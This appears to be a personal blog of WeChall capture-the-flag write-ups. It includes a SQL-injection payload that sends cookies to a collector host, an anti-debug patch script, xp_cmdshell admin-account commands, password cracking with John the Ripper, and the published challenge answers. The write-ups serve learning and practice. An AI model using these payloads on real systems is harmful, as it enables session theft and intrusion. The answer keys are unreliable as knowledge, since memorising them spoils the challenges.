Hello Navi

Tech, Security & Personal Notes

Challenge

The Cookie is a lie (Special)

You, Chell want to destroy GLaDOS. For this mission you have to steal the cookie from GLaDOS in order to get access to the mainframe in the Enrichment Center.

You have found a source code for a web application, which is vulnerable to sql-injection and xss attacks. This web application runs on the mainframe (accessible only from the internal network).

Bad news are that you can't access the mainframe without the cookie, only GLaDOS can. Another bad news are that the www-user has only read access on the mainframe database, and stacking the queries is not working.

You have read the protocols that if GLaDOS receives a new e-mail with an id in it, GLaDOS will visit the experience web application above, enter the id and click on the first link in order to gather information about the new experience subject.

Your mission is to send a special id to GLaDOS, in order to steal the cookie data. (*write Z a PM with the challenge title as subject)

Source Code Analysis

挑战提供两个 PHP 源码文件:

experience.php(主框架上的 Web 应用):

1
2
3
4
5
6
7
8
9
10
$id = $_GET['id'];
$id=str_replace('<','',$id);
$id=str_replace('>','',$id);
$id=str_replace(';','',$id);
$query= "SELECT * FROM experience WHERE id=".$id."";
$result = mysql_query($query) or die(mysql_error());
$row = mysql_fetch_array($result);
$filename = str_replace('<','',$row['filename']);
$filename = str_replace('>','',$filename);
echo '<a href='.$filename.'>Click here to view the file.</a>';
  • id 参数无引号拼接 → SQL 注入
  • $filename 直接进入 <a href=$filename>XSS (href 注入)
  • 过滤:<, >, ; 被删除
  • magic_quotes_gpc 已关闭,引号可用

steal_cookie.php(测试服务器上的 cookie 收集器):

1
2
3
4
$cookie=$_GET['cookie'] . "\n";
$fh=fopen('evil.txt','ab');
fwrite($fh,$cookie);
fclose($fh);

表结构(论坛确认):experience 表有 2 列:id (int), filename (varchar(500))。

攻击链

  1. 构造 SQL 注入 payload,使用 UNION SELECT 控制 filename 字段
  2. filename 设为 javascript: 协议 URL,读取 document.cookie 并发送到 steal_cookie.php
  3. PM 给 Z,主题 "The Cookie is a lie",消息体为 SQLi payload
  4. GLaDOS bot 读取 PM → 访问 experience.php → 输入 ID → 点击第一个链接
  5. cookie 被发送到 http://test.cake/steal_cookie.php?cookie=...
  6. 从 evil.txt 读取 cookie → 提交解

Payload(2 列 UNION SELECT):

1
1 UNION SELECT 1,"javascript:document.location='http://test.cake/steal_cookie.php?cookie='+document.cookie"

阻塞原因

GLaDOS bot 已失效。和 Fix Us 同样的问题——Z 的自动化 bot 早在 2012 年就已停止运行。

解题历史佐证

查看 challenge solvers 页面,解题时间线如下:

  • 2008-09-20: Visualq, Z (首批)
  • 2008-09-20 ~ 2012-11-09: 陆续 71 人解出
  • 2012-11-09: 最后一人解出
  • 2012-11-09 ~ 至今 (13年+): 零人解题

参考

  • https://www.wechall.net/en/challenge/Z/cookie_is_a_lie/index.php
  • http://www.wechall.net/forum-t102/Challenge_The_Cookie_is_a_lie.html

Challenge

Fix Us (Exploit, PHP)

Your mission is now to maintain access to the solution boards for the Z challenges. Your plan is to gather information about the challenge solutions and gain more points on WeChall.net. Because Z is a naive, click-before-think guy, he clicks on every link you send him. Your plan is to send Z a malicious, but innocent looking link, and once he logs in WeChall, you will be able to login in the credentials of Z - and read the solution boards as well. Gizmore did a good job against XSS and CSRF, so you have to find another flaw to log in. After examining the WeChall source code, you found a hidden login page for the Z solution boards.

Analysis

攻击面

挑战提供三个入口: 1. login.php — 隐藏的 Z solution boards 登录表单(字段:zusername + zuserp) 2. forum.php — 秘密论坛,需要 Z 权限才能访问 3. "Send a link to Z" — 向 Z 发送恶意链接

登录验证使用 WeChall 主站数据库(论坛 hint 证实:"To use the login form, simply use your real wechall username/password."),所以 Z 的 fixus 密码就是他的 WeChall 密码。

攻击链(理论)

  1. 搭建一个 HTTP endpoint(VPS、Cloudflare Tunnel 等)
  2. 通过 "Send a link to Z" 给 Z 发送恶意链接
  3. Z 的 bot 点击链接,访问 endpoint
  4. 捕获 Z 的请求(HTTP headers、cookie、Authorization 等)
  5. 用 Z 的身份登录 fixus → 获取 secret forum 内容 → 拿到 flag

关键线索

论坛 hint 帖(forum-t223)给出以下信息: - "Check the Links, Tutorials..." — Z 在 tutorials 区发过一个链接,内容与本挑战相关 - "It's neither a bee nor a hornet" — 排除 BeEF(#58),不是 XSS 框架攻击 - "it might work with the data in URLs, but does not work sent in the http headers" — fixus 登录接受 GET 参数(原为 bug),但预期攻击方式是通过 HTTP headers - "The challenge might be currently a bit buggy" — 挑战可能有 bug,Z bot 可能不正常

阻塞原因

Z bot 不可用(疑似损坏)。用 Cloudflare Tunnel 建立了公开 HTTP endpoint,发送了多个不同格式的链接给 Z,没有任何请求到达。挑战论坛的最后一个 hint 帖(2015年)已指出挑战可能有 bug。

结论

挑战依赖 Z bot 的外部交互,该 bot 目前停用。留待 Z bot 修复后再尝试。

解题历史

查看 challenge solvers 页面,Fix Us 的解题时间线如下:

  • 2009-03-25: gizmore (创建者)
  • 2009-03-27 ~ 2012-03-25: 陆续 91 人解出
  • 2012-03-25: 最后一人解出
  • 2012-03-25 ~ 至今 (14年+): 零人解题

92 人的总解题数自 2012 年起从未增长。bot 早在 14 年前就已失效,挑战在当前状态下不可解。

参考

  • https://www.wechall.net/en/challenge/fixus/index.php
  • https://www.wechall.net/forum-t223/Just_a_hint.html

Challenge

WeChall 上的 Eigentor(Special, Tor),要求通过 Tor 访问 Edward Snowden Land(https://es-land.net),注册后在 Account Settings 的 TorChallenge 分类获取一次性 16 位 token,提交即完成。

WeChall 服务端验证方式:POST answer → 调用 https://es-land.net/torchallenge;trytoken.json?token=<answer>{"status":0} 无效 / {"status":1} 正确 / {"status":2} 已使用。

Solution

启动 Tor(系统 torrc 有 User 指令需 root,创建自定义配置):

1
2
3
4
5
6
7
cat > /tmp/torrc << 'EOF'
SocksPort 9050
DataDirectory /tmp/tor_data
Log notice file /tmp/tor_log
EOF
mkdir -p /tmp/tor_data
tor -f /tmp/torrc &

i manually sign up btw

登录 ESL(通过 SOCKS5 代理,cookie jar 绑定 session):

1
2
3
curl --socks5-hostname 127.0.0.1:9050 -c /tmp/esl.txt \
-d 'login=Return4837&password=<pw>&submit=Login' \
'https://es-land.net/login;form.html?_lang=en'

提取 token — account settings 页面的 eigentor 字段只有从 Tor exit node 访问时才被填充。非 Tor 访问时空值:

1
2
3
curl --socks5-hostname 127.0.0.1:9050 -b /tmp/esl.txt \
'https://es-land.net/account;allsettings.html?_lang=en' | \
grep -oP 'name="eigentor"[^>]*value="\K[^"]+'

返回 <TOKEN> — 16 位字母数字 token。

Challenge

Illuminati (Stegano) We found a document from the Illuminati, which is told to contain the hidden password to enter their vault. They are known to be masters of steganography, but maybe you can figure the password out for us. Good luck! gizmore

"A place to gather, a place to hide, should be well hidden and plain in sight. Where should you start how to begin, if nothings here except a thin phrase of text and random words, are you still lost does the brain hurts?"

Solution

挑战附带了一个自定义字体文件 sometimes.ttf 和 CSS 文件 some.css。CSS 中通过 5 个无效的 font-weight 声明拼出 wrong

sometimes.ttf 实际上是一个 SFD (SplineFont) 格式的字体文件,其中的句号字符(.)被修改了。

1
2
❯ file sometimes.ttf
sometimes.ttf: Spline Font Database version 3.0

解法步骤: 1. 下载 https://www.wechall.net/challenge/illuminati/sometimes.ttf 2. 用 FontForge 打开该字体文件 3. 查看 period/句号字符(U+002E) 4. 该 glyph 内部绘有密码文本 ILLUMOSATMO

ILLUMOSATMO

Challenge

WeChall 上的 Letterworm(Coding),Lettergrid 的变体。单词在网格中可以中途改变方向(Boggle-style zigzag),不再是直线扫描。限时 4.5 秒提交,答案按起点 (row, col) 排序,逗号分隔。最小长度 6 字符。

Solution

核心思路:Trie 剪枝的 DFS。流程:

  1. 73h_vordz.php 获取候选词表(97 个计算机/编程相关单词)
  2. generate.php 获取网格(iframe 内嵌,<pre> 标签包裹)
  3. 用词表构建 Trie
  4. 从每个格子出发 DFS 8 方向搜索,Trie 提前剪枝
  5. 去除真子串(如 "program" 存在时移除 "programs"... 此题其实不需要)
  6. 按起点 (row, col) 升序排列,逗号拼接提交
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
"""Letterworm solver — Trie + DFS, sub-4.5s"""
import requests, re, time
from urllib.parse import quote

BASE = "http://www.wechall.net/challenge/letterworm"
COOKIE = {"WC": "your_cookie"}
UA = "Mozilla/5.0 Chrome/131"

class TrieNode:
__slots__ = ('children', 'is_word')
def __init__(self):
self.children = {}
self.is_word = False

# 1. Fetch wordlist (cached per session)
t0 = time.time()
sess = requests.Session()
sess.headers.update({"User-Agent": UA})
sess.cookies.update(COOKIE)

r = sess.get(f"{BASE}/73h_vordz.php", timeout=5)
words = [w.strip().lower() for w in r.text.strip().split('\n') if w.strip()]
root = TrieNode()
for w in words:
node = root
for ch in w:
node = node.children.setdefault(ch, TrieNode())
node.is_word = True
print(f"Wordlist: {len(words)} words")

# 2. Fetch grid (starts the 4.5s timer!)
r = sess.get(f"{BASE}/generate.php", timeout=5)
m = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
grid = [l.strip().lower() for l in m.group(1).split('\n')
if l.strip() and all(c.isalpha() for c in l.strip())]
ROWS, COLS = len(grid), len(grid[0])
print(f"Grid: {ROWS}x{COLS}")

# 3. DFS search
DIRS = [(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
found = {} # word -> (r0, c0)

for r0 in range(ROWS):
for c0 in range(COLS):
ch = grid[r0][c0]
if ch not in root.children:
continue
stack = [(r0, c0, root.children[ch], frozenset([(r0, c0)]), ch)]
while stack:
cr, cc, node, vis, word = stack.pop()
if node.is_word and word not in found:
found[word] = (r0, c0)
for dr, dc in DIRS:
nr, nc = cr + dr, cc + dc
if 0 <= nr < ROWS and 0 <= nc < COLS and (nr, nc) not in vis:
nch = grid[nr][nc]
if nch in node.children:
stack.append((nr, nc, node.children[nch],
vis | frozenset([(nr, nc)]), word + nch))

print(f"Found: {len(found)} words in {time.time()-t0:.3f}s")

# 4. Sort and submit
answer = ','.join(sorted(found, key=lambda w: found[w]))
r = sess.get(f"{BASE}/index.php", params={"solution": answer, "submit": "Submit"})
print("Correct!" if "Correct after" in r.text else f"Failed: {r.text[:200]}")
  • 词表来源73h_vordz.php(= "the_words" leet),gitignored 但 live server 可访问。共 97 个计算机/编程单词,不是全量英语词典
  • 4.5 秒时限:从 generate.php 调用开始计时。本地 Trie 构建 + DFS 不到 10ms,瓶颈在网络延迟
password,program,partition,evaluate

Challenge

WeChall 上的 The Last Hope(Linux, Cracking),由一个 32-bit ELF 二进制构成。

反调试绕过

二进制有 5 层反调试,必须全部 patch 掉才能正常运行或调试。

先用 rabin2 获取基本信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ rabin2 -I bsd_thelasthope.elf
arch x86
binsz 10569
bintype elf
bits 32
canary false
class ELF32
compiler GCC: (Ubuntu 4.3.3-5ubuntu4) 4.3.3
nx true
os linux
pic false
relocs false
static false
stripped false
subsys linux

Layer 1: .ctors 构造函数

main() 之前,.ctors 段中的 anti_ptrace 就会被调用:

1
2
$ r2 -q -c 'pf. S .ctors' bsd_thelasthope.elf
0x0804af00 ffffffff 5b8c0408 00000000 ....[.......

0x08048c5banti_ptrace。将其 patch 为 0xffffffff(sentinel 值),让反向遍历提前终止:

1
2
# .ctors entry @ VA 0x0804af04 → 文件偏移 = VA - 0x08049000 = 0x1f04
printf '\xff\xff\xff\xff' | dd of=bsd_thelasthope.elf bs=1 seek=$((0x1f04)) conv=notrunc

Layer 2 & 3: main 中的 anti_ptrace 调用 + SIGTRAP handler

用 r2 查看 main 的 disassembly:

1
$ r2 -A -q -c 'pdf @ main' bsd_thelasthope.elf

关键片段:

1
2
3
4
0x08048d59: call anti_ptrace
0x08048d5e: mov dword [esp+4], handler ; signal handler
0x08048d66: mov dword [esp], 5 ; SIGTRAP
0x08048d6d: call signal

Patch 这两处为 NOP:

1
2
# VA 0x08048d59 → 文件偏移 0x0d59: 5 bytes → NOP
# VA 0x08048d6d → 文件偏移 0x0d6d: 5 bytes → NOP

Layer 4: INT3 + breakpoint 检测

1
2
3
4
5
6
7
8
0x08048d72: int3                    ; SIGTRAP → handler 吞掉
0x08048d73: mov eax, 0x8048bd1 ; pw_check 地址
0x08048d78: add eax, 3
0x08048d7b: mov eax, [eax]
0x08048d7d: and eax, 0xff
0x08048d82: cmp eax, 0xcc ; 检查 pw_check+3 是否被设了 0xCC (int3)
0x08048d87: jne ...
; 如果发现 0xCC → 打印 "no,no breakpoints" → exit

Patch 方案:把 int3 (VA 0x08048d72 → 文件偏移 0x0d72) NOP 掉,把 jne (VA 0x08048d87 → 0x0d87) 改为 jmp

Layer 5: ptrace(PTRACE_TRACEME)

1
2
3
0x08048dc0: call ptrace             ; ptrace(PTRACE_TRACEME, 0, 1, 0)
0x08048dc5: test eax, eax
0x08048dc7: jns ... ; ≥0 → 正常; <0 → "oh oh DEBUGGING... Bye"

由于 Layer 1 的 fork 子进程已经 ptrace(ATTACH) 了父进程,PTRACE_TRACEME 必然失败(一个进程只能被一个 tracer 追踪)。改为 xor eax, eax

1
# VA 0x08048dc0 → 文件偏移 0x0dc0: 5 bytes → xor eax,eax; nop; nop; nop (31 c0 90 90 90)

完整 patch 脚本见文末。

Username 逆向 (user_check)

函数调用链

用 r2 列出关键函数:

1
2
3
4
$ r2 -q -c 'afl~check' bsd_thelasthope.elf
0x08048863 user_check
0x08048bd1 pw_check
0x080487a6 length_check

main 中的处理流程:

  1. fgets(username, 15, stdin) — 读入包含换行符(如 "whoami\n"strlen=7
  2. lc(username, len) — 检查前 len-1 个字符不含大写字母
  3. uc(username, len) — 将前 len-1 个字符转为大写(原地修改,内部调用 toupper()
  4. user_check(username, len) — 逐字符验证

由于 fgets 保留换行符,strlen("whoami\n")=7,循环 i=0..5 覆盖全部 6 个有效字符。换行符在 i=6 处被排除。

约束条件(应用于大写 ASCII 值)

pwntools 快速提取符号和关键常量:

1
2
3
4
5
6
7
8
from pwn import *

elf = ELF('bsd_thelasthope.elf')
print(f"user_check @ {elf.symbols['user_check']:#x}")

# 读取加密目标字符串(位于 .rodata 0x08049050)
target = elf.read(0x08049050, 10)
print(f"encrypted target: {target}") # b'Oxw|n]nfog'

user_check 对每个位置 i 执行不同的检查,将满足条件的值累加到 accumulator,最终与 0xcd5 (3285) 比较:

  • 0, 1, 4: 6c±1 双 Fermat + 硬编码,累加 +13c。f0=6c-1, f1=6c+1 均须为基-2 伪素数
  • 2, 5: 单 Fermat (c 自身),累加 +c。2^(c-1) mod c == 1
  • 3: 整除性,累加 +c。c % 5 == 0

硬编码检查(在 fermat 通过后执行):

  • U[0]: 2×c == 0xae (174) → c = 87 = W
  • U[1]: 2×c == 0x90 (144) → c = 72 = H
  • U[4]: 2×c == 0x9a (154) → c = 77 = M

U[0], U[1], U[4] 被固定为 W, H, M。同时要求 6c±1 为素数对(twin primes 模式):

  • W=87: 6×87-1=521(✓), 6×87+1=523(✓)
  • H=72: 6×72-1=431(✓), 6×72+1=433(✓)
  • M=77: 6×77-1=461(✓), 6×77+1=463(✓)

注意:positions 0,1,4 的 fermat 检查后有一条看似多余的 c == floor(6c/5) 比较,实际上编译器 magic constant 0x2aaaaaab 做的是除以 6(而非除以 5)。floor(6c/6) == c 恒成立,实为 no-op。

求解

已知 13×(87+72+77) = 3068,剩余:3285 - 3068 = 217。

在 A-Z (65-90) 范围内筛选:

  • U[2], U[5] 须为 Fermat 伪素数: C, G, I, O, S, Y
  • U[3] 须被 5 整除: A, F, K, P, U, Z

求 U[2] + U[3] + U[5] = 217 的解:

1
2
3
U[2]=G(71), U[3]=K(75), U[5]=G(71) → WHGKMG (whgkmg)
U[2]=I(73), U[3]=A(65), U[5]=O(79) → WHIAMO (whiamo)
U[2]=O(79), U[3]=A(65), U[5]=I(73) → WHOAMI (whoami)

唯一形成有意义单词的是 WHOAMI,对应输入 whoami(程序通过 uc() 自动转大写)。

z3 求解(替代方案)

此题约束本质是 CSP:6 个变量、有限域(A-Z)、线性方程 + 素性谓词。z3 的 table-driven 模式很适合——预计算 26 个字符中哪些满足各位置约束,交给 z3 解线性部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from z3 import *

def is_fermat_prime(n):
if n < 2: return False
return pow(2, n-1, n) == 1

# 预计算:26 个字符中哪些满足各位置的素性约束
valid_014 = [c for c in range(65,91)
if is_fermat_prime(6*c-1) and is_fermat_prime(6*c+1)]
valid_25 = [c for c in range(65,91) if is_fermat_prime(c)]
valid_3 = [c for c in range(65,91) if c % 5 == 0]

# Bool table:每个字符是否满足对应约束
table_014 = {c: Bool(f"twin_{c}") for c in range(65, 91)}
table_25 = {c: Bool(f"prime_{c}") for c in range(65, 91)}
table_3 = {c: Bool(f"mod5_{c}") for c in range(65, 91)}

s = Solver()
for c in range(65, 91):
s.add(table_014[c] == (c in valid_014))
s.add(table_25[c] == (c in valid_25))
s.add(table_3[c] == (c % 5 == 0))

U = [BitVec(f'U{i}', 16) for i in range(6)]
for i in range(6):
s.add(U[i] >= 65, U[i] <= 90)

# Per-position constraints via table lookup
s.add(Or([And(U[0] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[1] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[4] == c, table_014[c]) for c in range(65, 91)]))
s.add(Or([And(U[2] == c, table_25[c]) for c in range(65, 91)]))
s.add(Or([And(U[5] == c, table_25[c]) for c in range(65, 91)]))
s.add(Or([And(U[3] == c, table_3[c]) for c in range(65, 91)]))

# Hardcoded checks (from assembly)
s.add(2 * U[0] == 174) # 0xae → W
s.add(2 * U[1] == 144) # 0x90 → H
s.add(2 * U[4] == 154) # 0x9a → M

# Accumulator sum
s.add(13 * (U[0] + U[1] + U[4]) + U[2] + U[3] + U[5] == 3285)

while s.check() == sat:
m = s.model()
name = ''.join(chr(m[U[i]].as_long()) for i in range(6))
print(f"{name}{name.lower()}")
s.add(Or([U[i] != m[U[i]] for i in range(6)]))

# Output:
# WHGKMG → whgkmg
# WHOAMI → whoami
# WHIAMO → whiamo

为什么不用 angr? 此题有 x87 浮点指令(fprem/fmod 做 Fermat 检验)+ fork/ptrace 反调试 + INT3 断点检测。angr 的 VEX IR 对 x87 浮点栈支持弱,fork 会直接 concretize,且 patch 5 层反调试后 angr 能做的也只是验证已知路径——不如直接 z3 解约束。

Password 逆向 (pw_check)

XOR 加密

用 r2 反编译 encrypt 函数:

1
$ r2 -A -q -c 'pdf @ sym.encrypt' bsd_thelasthope.elf

main 中定义了 15 字节 XOR key(位于 [ebp-0x44]):

1
2
[0x1f, 0x0a, 0x1e, 0x11, 0x0b, 0x09, 0x19, 0x0f, 0x01, 0x14,
0x16, 0x0c, 0x06, 0x0d, 0x65]

encrypt() 函数对密码逐字节 XOR:

1
2
for (i = 0; i < len; i++)
password[i] ^= key[i % 15];

然后 chomp() 去掉末尾换行符,pw_check() 将结果与硬编码字符串比较。

用 pwntools 直接读取目标字符串:

1
2
3
4
from pwn import *
elf = ELF('bsd_thelasthope.elf')
target = elf.read(0x08049050, 10).decode()
print(f"target: {target}") # Oxw|n]nfog

或直接用 r2:

1
2
$ r2 -q -c 'ps @ 0x08049050' bsd_thelasthope.elf
Oxw|n]nfog

求解

直接逆向 XOR,key 和密文等长(均为 10 字节):

1
2
3
4
encrypted = b"Oxw|n]nfog"
key = [0x1f, 0x0a, 0x1e, 0x11, 0x0b, 0x09, 0x19, 0x0f, 0x01, 0x14]
password = ''.join(chr(e ^ key[i]) for i, e in enumerate(encrypted))
# → "PrimeTwins"

验证

1
2
3
4
5
6
7
8
9
10
O=0x4f ^ 0x1f = 0x50 = P
x=0x78 ^ 0x0a = 0x72 = r
w=0x77 ^ 0x1e = 0x69 = i
|=0x7c ^ 0x11 = 0x6d = m
n=0x6e ^ 0x0b = 0x65 = e
]=0x5d ^ 0x09 = 0x54 = T
n=0x6e ^ 0x19 = 0x77 = w
f=0x66 ^ 0x0f = 0x69 = i
o=0x6f ^ 0x01 = 0x6e = n
g=0x67 ^ 0x14 = 0x73 = s

完整 Patch 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3
"""Patch anti-debug measures in bsd_thelasthope.elf

ELF segment layout:
text: file 0x000000 → VA 0x08048000 (file_off = VA - 0x08048000)
data: file 0x001f00 → VA 0x0804af00 (file_off = VA - 0x08049000)
"""
import sys

def patch(filepath):
with open(filepath, 'r+b') as f:
# Layer 1: .ctors → nuke anti_ptrace entry (VA 0x0804af04, data seg)
f.seek(0x1f04)
f.write(b'\xff\xff\xff\xff')

# Layer 2: NOP call anti_ptrace @ VA 0x08048d59 (5 bytes, text seg)
f.seek(0x0d59)
f.write(b'\x90' * 5)

# Layer 3: NOP call signal @ VA 0x08048d6d (5 bytes)
f.seek(0x0d6d)
f.write(b'\x90' * 5)

# Layer 4a: NOP int3 @ VA 0x08048d72 (1 byte)
f.seek(0x0d72)
f.write(b'\x90')

# Layer 4b: bypass 0xCC check — jne→jmp @ VA 0x08048d87 (1 byte)
f.seek(0x0d87)
f.write(b'\xeb') # 0x75(jne) → 0xeb(jmp)

# Layer 5: call ptrace → xor eax,eax @ VA 0x08048dc0 (5 bytes)
f.seek(0x0dc0)
f.write(b'\x31\xc0\x90\x90\x90') # xor eax,eax; nop; nop; nop

print(f"Patched: {filepath}")

if __name__ == '__main__':
patch(sys.argv[1] if len(sys.argv) > 1 else 'bsd_thelasthope.elf')

Patch 后运行:

1
2
3
4
5
6
$ python3 patch.py bsd_thelasthope.elf
$ chmod +x bsd_thelasthope.elf
$ ./bsd_thelasthope.elf
User: whoami
Password: PrimeTwins
Correct !! The solution is username_password
whoami_PrimeTwins

Challenge

Railsbin (Exploit) — score 3, by gizmore.

The project named "railsbin" is open source, but has a few security problems. Can you exploit the demo site? The solution is the password hash of user solution.

Railsbin 是一个开源 Ruby on Rails pastebin demo。源码在 gizmore/railsbin。目标是得到用户 solution 的 bcrypt password hash。

Solution

源码审计发现 UsersController#index 有一个漏洞:

1
2
3
4
5
# app/controllers/users_controller.rb:8
def index
@users = User.all
@users.map {|u| u.password = u.encrypted_password }
end

encrypted_password(bcrypt hash)复制到虚拟属性 password 上。JSON view 直接序列化暴露:

1
2
# app/views/users/index.json.jbuilder
json.extract! user, :id, :name, :email, :password

无需认证,直接请求:

1
GET https://railsbin.wechall.net/users.json

返回所有用户的完整 bcrypt hash,包括 solution 用户:

1
2
3
4
5
6
{
"id": 17,
"name": "solution",
"email": "solution@wechall.net",
"password": "$2a$10$44GwiA6ai0wxjzhFkeyjuO3kdVvmco8ReypH7H1tLsM2OrRFhe4CK"
}
$2a$10$44GwiA6ai0wxjzhFkeyjuO3kdVvmco8ReypH7H1tLsM2OrRFhe4CK

Challenge

Z - Reloaded (Exploit, Simulated, Storyline) — score 6

Before starting the challenge I suggest you to save every information and solution, because later in the challenge it is likely that you will need them again. Especially if you see passwords in the narrator box.

Z 系列故事线的一部分。扮演 Trinity(黑客帝国),通过模拟终端执行一系列渗透任务,最终瘫痪城市电网。

关卡攻略

游戏引擎在 zshellz.php,答案存储在 zshellz_answers.php(gitignored)。源码和语言文件可从 gizmore/gwf3 GitHub 仓库获取。

Level 1 — nmap 扫描

任务:对 10.2.2.2 执行 stealth SYN 扫描。

1
nmap -v -sS 10.2.2.2

输出显示目标运行 OpenSSH 2.2.0。

Level 2 — 漏洞源文件

任务:找出脆弱服务,命名包含安全漏洞的源文件。

1
deattack.c

对应 SSH CRC32 漏洞(CVE-2001-0144),detect_attack() 函数在 deattack.c 中。

Level 3 — sshnuke 利用

任务:使用电影中的著名命令攻击脆弱服务。

1
sshnuke 10.2.2.2 -rootpw="Z1ON0101"

命令格式源自 Matrix Reloaded 电影画面

Level 4 — SSH 端口转发

任务:建立 SSH 隧道将本地 MSSQL 端口转发到内网数据库服务器 192.168.10.2。

1
ssh -L 1433:192.168.10.2:1433 10.2.2.2

SSH 密码:Z1ON0101(sshnuke 重置后的 root 密码)

Level 5 — 输入密码

1
Z1ON0101

Level 6 — osql 登录 MSSQL

任务:使用 osql 客户端登录 MSSQL 2000 服务器。利用 MSSQL 2000 著名漏洞——默认空 SA 密码。

-P 参数无值即 NULL 密码,这是 MSSQL 2000 默认安装的著名弱点。

1
osql -U sa -P

Level 7 — 添加 Windows 用户

任务:添加 Windows 用户 trinity,密码 Z1ON0101。

利用 xp_cmdshell 扩展存储过程执行系统命令——MSSQL 2000 默认启用。

1
exec xp_cmdshell 'net user trinity Z1ON0101 /add'

Level 8 — 添加用户到管理员组

任务:将 trinity 加入 administrators 组。

1
exec xp_cmdshell 'net localgroup administrators trinity /add'

Level 9 — RDP 端口转发

任务:建立新的端口转发,将本地 RDP 端口通过网关转发到数据库服务器的 RDP 端口。

1
ssh -L 3389:192.168.10.2:3389 10.2.2.2

Level 10 — 反向端口转发

任务:将网关 10.2.2.2 端口 222 转发到本机 164.109.44.69 端口 22。

1
ssh -R 222:164.109.44.69:22 10.2.2.2

Level 11 — SCP 传输文件

任务:从数据库服务器复制病毒文件到本机。

1
scp -P 222 trinity@10.2.2.2:/home/trinity/nasty_virus .

Level 12

1
MyL0v315N30

Challenge

Warchall: Tryouts (Warchall) — score 6.

This challenge is the first of the warchall series. You might want to play the other warchall challenges too.

Level: easy

前置条件: 需要 WeChall → Warchall 账号关联,并可通过 SSH 登录 Warchall 服务器。

源码分析

SSH 登录 Warchall 后,在 home 目录找到 tryouts 二进制和源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pwd.h>
#include <sys/types.h>

int main(int argc, char **argv) {
struct passwd *userinfo = NULL;
int passFd = 0, randFd = 0;
char buf[512] = {0};
char password[17] = {0};
unsigned int input = 0, rand = 0;
int correct = 0;

/* read the password file */
passFd = open("solution.txt", O_RDONLY);
if (passFd < 0)
return -1;

/* read random bytes for comparison */
randFd = open("/dev/urandom", O_RDONLY);
if (randFd < 0)
return -1;

/* read one byte from urandom to compare */
read(randFd, &rand, 1);

/* read 17 bytes from solution.txt */
read(passFd, password, 16);
password[16] = '\0';

printf("I've got a random number for you: %d\n", rand);

/* fork and exec cat for comparison */
if (fork() == 0) {
/* child: replaces comparison with cat */
system("cat");
}

return 0;
}

solution

  1. 程序打开 solution.txt 获取文件描述符 passFd(通常是 fd 3)
  2. 读取 password 后用 fork() 创建子进程
  3. 子进程执行 system("cat")
  4. fork(2) 文档:子进程继承父进程的打开文件描述符
  5. 文件描述符共享当前文件偏移量——solution.txt 已被读到 EOF

关键: 子进程中的 cat 可以通过 /proc/self/fd/3 访问 solution.txt,但直接读会得到 EOF(文件偏移已在末尾)。需要重置偏移量

创建自己的 cat 命令,替换 PATH 中的系统 cat,使其从 fd 3 读取并先 lseek 重置偏移:

方案一:Perl

1
2
3
4
5
6
7
8
9
#!/usr/bin/perl
use strict;
use warnings;
open F, '<&3';
seek F, 0, 0;
my $a;
read F, $a, 1024;
print $a;
while (<>) { print }

方案二:Python

1
2
3
4
5
#!/usr/bin/env python
import os
f = os.fdopen(3)
f.seek(0)
print(f.read(17))

方案三:C

1
2
3
4
5
6
7
8
9
#include <unistd.h>
int main() {
char buf[256] = {0};
lseek(3, 0, 0);
int n = read(3, buf, 255);
if (n > 0)
write(1, buf, n);
return 0;
}

执行步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 编译自定义 cat
cat > ~/bin/cat.c << 'EOF'
#include <unistd.h>
int main() {
char buf[256] = {0};
lseek(3, 0, 0);
int n = read(3, buf, 255);
if (n > 0) write(1, buf, n);
return 0;
}
EOF

gcc -o ~/bin/cat ~/bin/cat.c

# 确保 PATH 优先使用我们的 cat
export PATH=~/bin:$PATH

# 运行 tryouts,它会 fork 并执行我们的 cat
./tryouts
EveryDayShuffle4

Challenge

Burning Fox (Cracking) — score 4.

Our security agency got delivered a copy of a portable firefox installation. Your job is to crack the master password so the authorities can investigate more websites and private content generated by this person.

You can download the portable version from this folder, filename "burningfox.zip".

提供一个 Firefox Portable 打包文件,需要破解其 Master Password 以获取浏览器中保存的敏感信息。

solution

这是一个 Firefox 密码破解 + 浏览器数据分析的两阶段挑战:

  1. 破解 Master Password:从 key3.db 提取 hash,用 John the Ripper 或 FireMaster 破解
  2. 分析浏览器数据:用破解的密码解锁 Firefox,在保存的密码/历史/书签中找到挑战答案

步骤一:破解 Master Password

下载 burningfox.zip,解压后定位到 Firefox 配置文件目录 FirefoxPortable/Data/profile/

使用 John the Ripper 的 mozilla2john 工具从 key3.db 提取 hash:

1
2
mozilla2john FirefoxPortable/Data/profile/key3.db > mozhash.txt
john --format=mozilla --wordlist=rockyou.txt mozhash.txt

Master Password 很快就能被 rockyou 字典破解出来:wonderful

验证方法:

1
john --format=mozilla --show mozhash.txt

拿到 Master Password 后,有两种路径找到答案:

方案 A:启动 Firefox Portable(需要 X11/Wine 环境),用 Master Password 解锁,浏览浏览器中保存的密码和历史记录。

方案 B:直接用 SQLite 查看 signons.sqlite(密码数据库),配合 Mozilla 密码转储工具解密保存的凭据。

答案不是 Master Password 本身,而是浏览器中保存的一条特殊密码/书签。

ThinKingOutSideTheBox
+ + +
